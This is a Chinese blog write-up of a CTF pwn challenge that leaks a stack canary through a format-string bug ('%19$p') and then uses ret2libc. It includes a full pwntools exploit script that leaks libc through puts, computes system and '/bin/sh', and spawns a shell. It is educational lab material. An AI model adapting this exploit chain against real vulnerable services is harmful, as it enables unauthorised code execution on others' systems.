Canary绕过专题(2)——格式化字符串泄露
369 字
2 分钟
Canary绕过专题(2)——格式化字符串泄露
格式化字符串泄露Canary
检查一下安全机制

再看看IDA

跟上一道题差不多,但第一个 read只能读取5字节
我们主要还是关注后面的 printf
使用 printf的关键是找栈上的偏移
我们在gdb里运行到Canary在栈上被布置后,查看栈内容

发现Canary在0x7fffffffdc80 + 0x8的位置
用 fmtarg(需先安装pwngdb,并设置与pwndbg联动使用)计算出Canary的偏移是19

测试一下,没问题

这里要注意,%19$p已经有五个字节了,如果使用 sendline来发送payload,多出来的换行符会直接用于下一个 read,导致程序提前结束
泄露Canary后就是常见的ret2libc思路
先把libc和ld绑定一下
$patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./canary$patchelf --replace-needed libc.so.6 ./libc.so.6 ./canary2 $用 puts来泄露libc地址,再用pwntools自动查找地址
但第二次输入机会被我们用来泄露libc了,所以payload2要返回main函数,再泄露一次Canary
最终exp如下:
from pwn import *context.arch = 'amd64'context.log_level = 'debug'elf = ELF('./canary2')libc_elf = ELF('./libc.so.6')p = remote("ip",port)#gdb.attach(p)
p.recvuntil(b'say:\n')p.send(b'%19$p')p.recvuntil(b'0x')canary = int(p.recv(16),16)success(f"Canary Leaked: {hex(canary)}")
ret = 0x40101apop_rdi = 0x401223put_plt = elf.plt['puts']put_got = elf.got['puts']main = elf.symbols['main']
payload2 = b'A'*104 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main)
p.sendline(payload2)p.recvuntil("Bye~\n")libc_base = u64(p.recv(6).ljust(8,b"\x00")) - libc_elf.sym["puts"]system = libc_base + libc_elf.sym['system']binsh = libc_base + next(libc_elf.search(b'/bin/sh'))success(f"Libc base: {hex(libc_base)}")success(f"System: {hex(system)}")success(f"/bin/sh: {hex(binsh)}")
p.recvuntil(b'say:\n')p.send(b'%19$p')p.recvuntil(b'0x')canary2 = int(p.recv(16),16)
payload3 = b'A'*104 + p64(canary2) + b'B'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload3)
p.interactive()支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!
Canary绕过专题(2)——格式化字符串泄露
https://joker233.top/posts/canary-bypass-2-format-string-leak/ 相关文章 智能推荐
1
Canary绕过专题(4)——SSP泄露
CTF 利用SSP泄露获取flag 机制讲解 SSP 是编译器为了防止栈溢出攻击加入的一种保护机制 当程序运行时检测到Canary被破坏,会触发 stackchkfail 函数,准备终止程序并报错。 关键特性: 报错机制: 在 glibc 2.25
2
Canary绕过专题(1)——覆盖截断字符
CTF 覆盖截断字符获取Canary 先看例题 检查一下安全机制 IDA中找到漏洞函数 很贴心的给了一个backdoor 这题的栈帧挺好分析的,画个图出来 函数中有两次栈溢出可利用,第一个 read可读112字节,正好覆盖不到返回地址 第二个 re
3
Canary绕过专题(5)——劫持__stack_chk_fail
CTF 劫持stackchkfail函数 原理 遇到canary错误时,会执行以下函数: 劫持stackchkfaik函数的got表为目标函数即可 例题分析 检查安全机制 没有 Full RELRO ,修改GOT表的思路可行 再看IDA 能溢出12
4
Canary绕过专题(3)——One-By-One爆破
CTF 利用fork()获取Canary 核心原理 fork()是一个系统调用,它的作用是“复制”当前进程,创建一个全新的、几乎一模一样的子进程。 关键特性: 子进程是父进程的副本,它们有各自独立的内存空间。 对于Canary来说,最关键的一点是:
5
DASCTF 2026 Pwn方向 WP
CTF DASCTF 2026 Pwn方向部分题目赛后复现
随机文章 随机推荐